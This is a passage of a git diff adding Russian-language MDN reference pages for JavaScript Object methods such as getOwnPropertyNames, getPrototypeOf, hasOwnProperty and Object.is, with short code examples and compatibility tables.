+// Печать имён и значений свойств с помощью Array.forEach
+Object.getOwnPropertyNames(obj).forEach(function(val, idx, array) {
+  console.log(val + ' -&gt; ' + obj[val]);
+});
+// напечатает
+// 0 -&gt; a
+// 1 -&gt; b
+// 2 -&gt; c
+
+// Не перечисляемое свойство
+var my_obj = Object.create({}, {
+  getFoo: {
+    value: function() { return this.foo; },
+    enumerable: false
+  }
+});
+my_obj.foo = 1;
+
+console.log(Object.getOwnPropertyNames(my_obj).sort()); // напечатает 'foo,getFoo'
+</pre>
+
+<p>Если вы хотите обработать только перечисляемые свойства, смотрите в сторону метода {{jsxref("Object.keys()")}} или используйте цикл {{jsxref("Statements/for...in", "for...in")}} (хотя стоит отметить, что он пройдётся по перечисляемым свойствам, присутствующим не только непосредственно в самом объекте, но и унаследованным из цепочки прототипов объекта; последние можно отфильтровать с помощью метода {{jsxref("Object.prototype.hasOwnProperty()", "hasOwnProperty()")}}).</p>
+
+<p>Элементы в цепочке прототипов не перечисляются:</p>
+
+<pre class="brush: js">function ParentClass() {}
+ParentClass.prototype.inheritedMethod = function() {};
+
+function ChildClass() {
+  this.prop = 5;
+  this.method = function() {};
+}
+ChildClass.prototype = new ParentClass;
+ChildClass.prototype.prototypeMethod = function() {};
+
+alert(
+  Object.getOwnPropertyNames(
+    new ChildClass() // ['prop', 'method']
+  )
+);
+</pre>
+
+<h3 id="Example:_Get_Non-Enumerable_Only" name="Example:_Get_Non-Enumerable_Only">Пример: получение только не перечисляемых свойств</h3>
+
+<p>Здесь используется функция {{jsxref("Array.prototype.filter()")}} для удаления перечисляемых ключей (полученных через метод {{jsxref("Object.keys()")}}) из списка всех ключей (полученных через метод <code>Object.getOwnPropertyNames()</code>) и, таким образом, оставляющая только неперечисляемые ключи.</p>
+
+<pre class="brush: js">var target = myObject;
+var enum_and_nonenum = Object.getOwnPropertyNames(target);
+var enum_only = Object.keys(target);
+var nonenum_only = enum_and_nonenum.filter(function(key) {
+  var indexInEnum = enum_only.indexOf(key);
+  if (indexInEnum == -1) {
+    // если ключ не найден в массиве enum_only, значит ключ является не перечисляемым
+    // и нужно вернуть true, чтобы он попал в результирующий массив
+    return true;
+  } else {
+    return false;
+  }
+});
+
+console.log(nonenum_only);
+</pre>
+
+<h2 id="Notes" name="Notes">Примечания</h2>
+
+<p>В ES5, если аргумент метода не является объектом (является примитивным значением), будет выброшено исключение {{jsxref("Global_Objects/TypeError", "TypeError")}}. В ES6 такой аргумент будет приведён к объекту.</p>
+
+<pre class="brush: js">&gt; Object.getOwnPropertyNames('foo')
+TypeError: "foo" is not an object // код ES5
+
+&gt; Object.getOwnPropertyNames('foo')
+['length', '0', '1', '2']         // код ES6
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.3.4', 'Object.getOwnPropertyNames')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.8.5.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.getownpropertynames', 'Object.getOwnPropertyNames')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{Compat("javascript.builtins.Object.getOwnPropertyNames")}}</div>
+
+<p> </p>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Enumerability_and_ownership_of_properties">Перечисляемость и собственность свойств</a></li>
+ <li>{{jsxref("Object.prototype.hasOwnProperty()")}}</li>
+ <li>{{jsxref("Object.prototype.propertyIsEnumerable()")}}</li>
+ <li>{{jsxref("Object.create()")}}</li>
+ <li>{{jsxref("Object.keys()")}}</li>
+ <li>{{jsxref("Array.forEach()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/object/getownpropertysymbols/index.html b/files/ru/web/javascript/reference/global_objects/object/getownpropertysymbols/index.html
new file mode 100644
index 0000000000..e86deefc78
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/object/getownpropertysymbols/index.html
@@ -0,0 +1,94 @@
+---
+title: Object.getOwnPropertySymbols()
+slug: Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertySymbols
+tags:
+  - ECMAScript6
+  - Experimental
+  - Expérimental(2)
+  - JavaScript
+  - Method
+  - Object
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertySymbols
+---
+<div>{{JSRef("Global_Objects", "Object")}}</div>
+
+<p>Метод <code><strong>Object.getOwnPropertySymbols()</strong></code> возвращает массив всех символьных свойств, найденных непосредственно на переданном объекте.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/object-getownpropertysymbols.html")}}</p>
+
+<div class="hidden">
+<p>Исходный код этого интерактивного примера хранится в репозитории GitHub. Если вы хотите внести свой вклад в проект интерактивных примеров, пожалуйста, клонируйте <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> и отправьте нам запрос на извлечение.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="brush: js"><code>Object.getOwnPropertySymbols(<var>obj</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>Объект, чьи символьные будут возвращены.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Массив всех свойств символа, найденных прямо на данном объекте.</p>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Подобно методу {{jsxref("Object.getOwnPropertyNames()")}}, вы можете получить все символьные свойства указанного объекта в качестве массива символов. Обратите внимание, что метод {{jsxref("Object.getOwnPropertyNames()")}} сам не возвращает символьные свойства объекта, он возвращает только строковые свойства.</p>
+
+<p>Поскольку изначально никакой объект не содержит собственных символьных свойств, метод <code>Object.getOwnPropertySymbols()</code> будет возвращать пустой массив, пока вы не установите символьные свойства на вашем объекте.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<pre class="brush: js">var obj = {};
+var a = Symbol('a');
+var b = Symbol.for('b');
+
+obj[a] = 'localSymbol';
+obj[b] = 'globalSymbol';
+
+var objectSymbols = Object.getOwnPropertySymbols(obj);
+
+console.log(objectSymbols.length); // 2
+console.log(objectSymbols);        // [Symbol(a), Symbol(b)]
+console.log(objectSymbols[0]);     // Symbol(a)
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.getownpropertysymbols', 'Object.getOwnPropertySymbols')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<p> </p>
+
+<div class="hidden">
+<p>Таблица совместимости на этой странице генерируется из структурированных данных. Если вы хотите внести свой вклад в эти данные, просмотрите <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ​​​​​​и отправьте нам запрос на извлечение.</p>
+</div>
+
+<p>{{Compat("javascript.builtins.Object.getOwnPropertySymbols")}}</p>
+
+<div id="compat-desktop"> </div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Object.getOwnPropertyNames()")}}</li>
+ <li>{{jsxref("Symbol")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/object/getprototypeof/index.html b/files/ru/web/javascript/reference/global_objects/object/getprototypeof/index.html
new file mode 100644
index 0000000000..540fddb350
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/object/getprototypeof/index.html
@@ -0,0 +1,139 @@
+---
+title: Object.getPrototypeOf()
+slug: Web/JavaScript/Reference/Global_Objects/Object/getPrototypeOf
+tags:
+  - ECMAScript5
+  - JavaScript
+  - Method
+  - Object
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/getPrototypeOf
+---
+<div>{{JSRef("Global_Objects", "Object")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>Object.getPrototypeOf()</code></strong> возвращает прототип (то есть, внутреннее свойство <code>[[Prototype]]</code>) указанного объекта.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code>Object.getPrototypeOf(<var>obj</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>Объект, чей прототип будет возвращён.</dd>
+</dl>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<pre class="brush: js">var proto = {};
+var obj = Object.create(proto);
+Object.getPrototypeOf(obj) === proto; // true
+</pre>
+
+<pre class="brush: js">&gt; Object.getPrototypeOf('foo')
+TypeError: "foo" is not an object  // код ES5
+&gt; Object.getPrototypeOf('foo')
+String.prototype                   // код ES6
+</pre>
+
+<h2 id="Notes" name="Notes">Примечания</h2>
+
+<p>В ES5, если параметр <code>obj</code> не является объектом, будет выброшено исключение {{jsxref("Global_Objects/TypeError", "TypeError")}}. В ES6, параметр будет приведён к объекту {{jsxref("Global_Objects/Object", "Object")}}.</p>
+
+<pre class="brush: js">&gt; Object.getPrototypeOf('foo')
+TypeError: "foo" is not an object  // код ES5
+&gt; Object.getPrototypeOf('foo')
+String.prototype                   // код ES6
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.3.2', 'Object.getPrototypeOf')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.getprototypeof', 'Object.getProtoypeOf')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome("5")}}</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>{{CompatIE("9")}}</td>
+   <td>{{CompatOpera("12.10")}} (может быть и более ранние)</td>
+   <td>{{CompatSafari("5")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>На основе <a class="external" href="http://kangax.github.com/es5-compat-table/">таблицы совместимости Kangax</a>.</p>
+
+<h3 id="Opera-specific_notes" name="Opera-specific_notes">Примечания по Opera</h3>
+
+<p>Хотя старые версии Opera и не поддерживают меотод <code>Object.getPrototypeOf()</code>, Opera поддерживает нестандартное свойство {{jsxref("Object.proto", "__proto__")}}, начиная с версии Opera 10.50.</p>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.isPrototypeOf()")}}</li>
+ <li>{{jsxref("Object.setPrototypeOf()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Object.prototype.__proto__")}}</li>
+ <li>Запись в блоге Джона Резига о <a href="http://ejohn.org/blog/objectgetprototypeof/">getPrototypeOf()</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/object/hasownproperty/index.html b/files/ru/web/javascript/reference/global_objects/object/hasownproperty/index.html
new file mode 100644
index 0000000000..c1fa2f6464
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/object/hasownproperty/index.html
@@ -0,0 +1,145 @@
+---
+title: Object.prototype.hasOwnProperty()
+slug: Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty
+tags:
+  - JavaScript
+  - Method
+  - Object
+  - Prototype
+  - Reference
+  - Référence(2)
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty
+---
+<div>{{JSRef("Global_Objects", "Object")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <code><strong>hasOwnProperty()</strong></code> возвращает логическое значение, указывающее, содержит ли объект указанное свойство.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><var>obj</var>.hasOwnProperty(<var>prop</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>prop</code></dt>
+ <dd>Имя проверяемого свойства.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Каждый объект, произошедший от {{jsxref("Global_Objects/Object", "Object")}}, наследует метод <code>hasOwnProperty</code>. Этот метод может использоваться для определения того, содержит ли объект указанное свойство в качестве собственного свойства объекта; в отличие от оператора {{jsxref("Operators/in", "in")}}, этот метод не проверяет существование свойств в цепочке прототипов объекта.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_hasOwnProperty_to_test_for_a_property.27s_existence" name="Example:_Using_hasOwnProperty_to_test_for_a_property.27s_existence">Пример: использование <code>hasOwnProperty</code> для проверки существования свойства</h3>
+
+<p>В следующем примере определяется, содержит ли объект <code>o</code> свойство с именем <code>prop</code>:</p>
+
+<pre class="brush: js">o = new Object();
+o.prop = 'существует';
+
+function changeO() {
+  o.newprop = o.prop;
+  delete o.prop;
+}
+
+o.hasOwnProperty('prop');   // вернёт true
+changeO();
+o.hasOwnProperty('prop');   // вернёт false
+</pre>
+
+<h3 id="Example:_Direct_versus_inherited_properties" name="Example:_Direct_versus_inherited_properties">Пример: собственные и унаследованные свойства</h3>
+
+<p>Следующий пример показывает разницу между собственными свойствами и свойствами, унаследоваными через цепочку прототипов:</p>
+
+<pre class="brush: js">o = new Object();
+o.prop = 'существует';
+o.hasOwnProperty('prop');             // вернёт true
+o.hasOwnProperty('toString');         // вернёт false
+o.hasOwnProperty('hasOwnProperty');   // вернёт false
+</pre>
+
+<h3 id="Example:_Itarate_over_properties_not_considering_inherited_properties" name="Example:_Itarate_over_properties_not_considering_inherited_properties">Пример: обход свойств объекта</h3>
+
+<p>Следующий пример показывает, как итерироваться по свойствам объекта с пропуском унаследованных свойств. Обратите внимание, что цикл {{jsxref("Statements/for...in", "for...in")}} уже проходит только по перечисляемым элементам, так что не надо на основании отсутствия не перечисляемых свойств, показываемых в цикле, считать, что метод <code>hasOwnProperty</code> сам ограничивает свойства только перечисляемыми элементами (как это делает метод {{jsxref("Object.getOwnPropertyNames()")}}).</p>
+
+<pre class="brush: js">var buz = {
+  fog: 'stack'
+};
+
+for (var name in buz) {
+  if (buz.hasOwnProperty(name)) {
+    alert('это точно туман (' + name + '). Значение: ' + buz[name]);
+  }
+  else {
+    alert(name); // toString или что-то ещё
+  }
+}
+</pre>
+
+<h3 id="Example:_hasOwnProperty_as_a_property" name="Example:_hasOwnProperty_as_a_property">Пример: <code>hasOwnProperty</code> как свойство</h3>
+
+<p>JavaScript не защищает имя свойства <code>hasOwnProperty</code>; таким образом, вполне может существовать объект с таким свойством, поэтому для получения правильного результата нужно использовать <em>внешний</em> метод <code>hasOwnProperty</code>:</p>
+
+<pre class="brush: js">var foo = {
+  hasOwnProperty: function() {
+    return false;
+  },
+  bar: 'Тут драконы'
+};
+
+foo.hasOwnProperty('bar'); // всегда возвращает false
+
+// Используем метод hasOwnProperty другого объекта и вызываем его с передачей foo в качестве this
+({}).hasOwnProperty.call(foo, 'bar'); // true
+
+// Также для этих целей можно использовать свойство hasOwnProperty из прототипа Object
+Object.prototype.hasOwnProperty.call(foo, 'bar'); // true
+</pre>
+
+<p>Обратите внимание, что в последнем случае новые объекты не создаются.</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 3rd Edition.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.5.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.4.5', 'Object.prototype.hasOwnProperty')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.prototype.hasownproperty', 'Object.prototype.hasOwnProperty')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>
+<p>{{Compat("javascript.builtins.Object.hasOwnProperty")}}</p>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Enumerability_and_ownership_of_properties">Перечисляемость и собственность свойств</a></li>
+ <li>{{jsxref("Object.getOwnPropertyNames()")}}</li>
+ <li>{{jsxref("Statements/for...in", "for...in")}}</li>
+ <li>{{jsxref("Operators/in", "in")}}</li>
+ <li><a href="/ru/docs/Web/JavaScript/Guide/Inheritance_Revisited">Руководство по JavaScript: повторное наследование</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/object/index.html b/files/ru/web/javascript/reference/global_objects/object/index.html
new file mode 100644
index 0000000000..0286dff0dd
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/object/index.html
@@ -0,0 +1,216 @@
+---
+title: Object
+slug: Web/JavaScript/Reference/Global_Objects/Object
+tags:
+  - Constructor
+  - JavaScript
+  - Object
+  - Reference
+  - Référence(2)
+translation_of: Web/JavaScript/Reference/Global_Objects/Object
+---
+<div>{{JSRef("Global_Objects", "Object")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Конструктор <code><strong>Object</strong></code> создаёт объект-обёртку.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code>// Инициализатор объекта или литерал
+{ [ <var>nameValuePair1</var>[, <var>nameValuePair2</var>[, ...<var>nameValuePairN</var>] ] ] }
+
+// Вызов в качестве конструктора
+new Object([<var>value</var>])
+</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>nameValuePair1, nameValuePair2, ... nameValuePair<em>N</em></code></dt>
+ <dd>Пары из имён (строки) и значений (любые значения), где имя отделяется от значения двоеточием.</dd>
+ <dt><code>value</code></dt>
+ <dd>Любое значение.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Конструктор <code>Object</code> создаёт объект-обёртку для переданного значения. Если значением является {{jsxref("Global_Objects/null", "null")}} или {{jsxref("Global_Objects/undefined", "undefined")}}, создаёт и возвращает пустой объект, в противном случае возвращает объект такого типа, который соответствует переданному значению. Если значение уже является объектом, конструктор вернёт это значение.</p>
+
+<p>При вызове в не-конструкторном контексте, <code>Object</code> ведёт себя идентично коду <code>new Object()</code>.</p>
+
+<p>Так же смотрите {{jsxref("Operators/Object_initializer", "синтаксис инициализатора объекта / литеральный синтаксис", "", 1)}}.</p>
+
+<h2 id="Properties" name="Properties">Свойства конструктора <code>Object</code></h2>
+
+<dl>
+ <dt><code>Object.length</code></dt>
+ <dd>Имеет значение 1.</dd>
+ <dt>{{jsxref("Object.prototype")}}</dt>
+ <dd>Позволяет добавлять свойства ко всем объектам типа <code>Object</code>.</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">Методы конструктора <code>Object</code></h2>
+
+<dl>
+ <dt>{{jsxref("Object.assign()")}}</dt>
+ <dd>Создаёт новый объект путём копирования значений всех собственных перечислимых свойств из одного или более исходных объектов в целевой объект.</dd>
+ <dt>{{jsxref("Object.create()")}}</dt>
+ <dd>Создаёт новый объект с указанными объектом прототипа и свойствами.</dd>
+ <dt>{{jsxref("Object.defineProperty()")}}</dt>
+ <dd>Добавляет к объекту именованное свойство, описываемое переданным дескриптором.</dd>
+ <dt>{{jsxref("Object.defineProperties()")}}</dt>
+ <dd>Добавляет к объекту именованные свойства, описываемые переданными дескрипторами.</dd>
+ <dt>{{jsxref("Object.freeze()")}}</dt>
+ <dd>Замораживает объект: другой код не сможет удалить или изменить никакое свойство.</dd>
+ <dt>{{jsxref("Object.getOwnPropertyDescriptor()")}}</dt>
+ <dd>Возвращает дескриптор свойства для именованного свойства объекта.</dd>
+ <dt>{{jsxref("Object.getOwnPropertyNames()")}}</dt>
+ <dd>Возвращает массив, содержащий имена всех переданных объекту <strong>собственных</strong> перечисляемых и неперечисляемых свойств.</dd>
+ <dt>{{jsxref("Object.getOwnPropertySymbols()")}}</dt>
+ <dd>Возвращает массив всех символьных свойств, найденных непосредственно в переданом объекте.</dd>
+ <dt>{{jsxref("Object.getPrototypeOf()")}}</dt>
+ <dd>Возвращает прототип указанного объекта.</dd>
+ <dt>{{jsxref("Object.is()")}}</dt>
+ <dd>Определяет, являются ли два значения различимыми (то есть, одинаковыми)</dd>
+ <dt>{{jsxref("Object.isExtensible()")}}</dt>
+ <dd>Определяет, разрешено ли расширение объекта.</dd>
+ <dt>{{jsxref("Object.isFrozen()")}}</dt>
+ <dd>Определяет, был ли объект заморожен.</dd>
+ <dt>{{jsxref("Object.isSealed()")}}</dt>
+ <dd>Определяет, является ли объект запечатанным (sealed).</dd>
+ <dt>{{jsxref("Object.keys()")}}</dt>
+ <dd>Возвращает массив, содержащий имена всех <strong>собственных</strong> перечислимых свойств переданного объекта.</dd>
+ <dt>{{jsxref("Object.observe()")}}</dt>
+ <dd>Асинхронно наблюдает за изменениями в объекте.</dd>
+ <dt>{{jsxref("Object.preventExtensions()")}}</dt>
+ <dd>Предотвращает любое расширение объекта.</dd>
+ <dt>{{jsxref("Object.seal()")}}</dt>
+ <dd>Предотвращает удаление свойств объекта другим кодом.</dd>
+ <dt>{{jsxref("Object.setPrototypeOf()")}}</dt>
+ <dd>Устанавливает прототип (т.е. внутреннее свойство <code>[[Prototype]]</code>)</dd>
+</dl>
+
+<h2 id="Object_instances" name="Object_instances">Экземпляры и прототип объекта <code>Object</code></h2>
+
+<p>Все объекты в JavaScript являются потомками <code>Object</code>; все объекты наследуют методы и свойства из прототипа объекта {{jsxref("Object.prototype")}}, хотя они и могут быть переопределены. Например, прототипы других конструкторов переопределяют свойство <code>constructor</code> и предоставляют свои собственные методы <code>toString()</code>. Изменения в объекте прототипа <code>Object</code> распространяются на все объекты до тех пор, пока свойства и методы, учитывающие эти изменения, не переопределяются дальше по цепочке прототипов.</p>
+
+<h3 id="Properties_of_Object_instances" name="Properties_of_Object_instances">Свойства</h3>
+
+<div>{{page('/ru/docs/Web/JavaScript/Reference/Global_Objects/Object/prototype', 'Properties')}}</div>
+
+<h3 id="Methods_of_Object_instances" name="Methods_of_Object_instances">Методы</h3>
+
+<div>{{page('/ru/docs/Web/JavaScript/Reference/Global_Objects/Object/prototype', 'Methods')}}</div>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example.3A_Using_Object_given_undefined_and_null_types" name="Example.3A_Using_Object_given_undefined_and_null_types">Пример: использование <code>Object</code> с типами <code>undefined</code> и <code>null</code></h3>
+
+<p>Следующий пример сохраняет пустой объект <code>Object</code> в переменную <code>o</code>:</p>
+
+<pre class="brush: js">var o = new Object();
+</pre>
+
+<pre class="brush: js">var o = new Object(undefined);
+</pre>
+
+<pre class="brush: js">var o = new Object(null);
+</pre>
+
+<h3 id="Пример_использование_Object_для_создания_объектов_Boolean">Пример: использование <code>Object</code> для создания объектов <code>Boolean</code></h3>
+
+<p>Следующий пример сохраняет объекты {{jsxref("Global_Objects/Boolean", "Boolean")}} в переменную <code>o</code>:</p>
+
+<pre class="brush: js">// эквивалентно o = new Boolean(true);
+var o = new Object(true);
+</pre>
+
+<pre class="brush: js">// эквивалентно o = new Boolean(false);
+var o = new Object(Boolean());
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2', 'Object')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object-objects', 'Object')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/JavaScript/Reference/Operators/Object_initializer">Инициализатор объекта</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/object/is/index.html b/files/ru/web/javascript/reference/global_objects/object/is/index.html
new file mode 100644
index 0000000000..c9f061a3a9
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/object/is/index.html
@@ -0,0 +1,122 @@
+---
+title: Object.is()
+slug: Web/JavaScript/Reference/Global_Objects/Object/is
+tags:
+  - ECMAScript6
+  - Experimental
+  - Expérimental(2)
+  - JavaScript
+  - Method
+  - Object
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/is
+---
+<div>{{JSRef("Global_Objects", "Object")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <code><strong>Object.is()</strong></code> определяет, являются ли два значения <a href="/ru/docs/Web/JavaScript/Guide/Sameness">одинаковыми значениями</a>.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code>var <var>isSame</var> = Object.is(<var>value1</var>, <var>value2</var>);</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>value1</code></dt>
+ <dd>Первое сравниваемое значение.</dd>
+ <dt><code>value2</code></dt>
+ <dd>Второе сравниваемое значение.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Метод <code>Object.is()</code> определяет, являются ли два значения <a href="/ru/docs/Web/JavaScript/Guide/Sameness">одинаковыми значениями</a>. Два значения являются одинаковыми в следующих случаях:</p>
+
+<ul>
+ <li>оба равны {{jsxref("undefined")}}</li>
+ <li>оба равны {{jsxref("null")}}</li>
+ <li>оба равны <code>true</code>, либо оба равны <code>false</code></li>
+ <li>оба являются строками с одинаковой длиной и одинаковыми символами</li>
+ <li>оба являются одним и тем же объектом</li>
+ <li>оба являются числами и
+  <ul>
+   <li>оба равны <code>+0</code></li>
+   <li>оба равны <code>-0</code></li>
+   <li>оба равны {{jsxref("NaN")}}</li>
+   <li>либо оба не равны нулю или {{jsxref("NaN")}} и оба имеют одинаковое значение</li>
+  </ul>
+ </li>
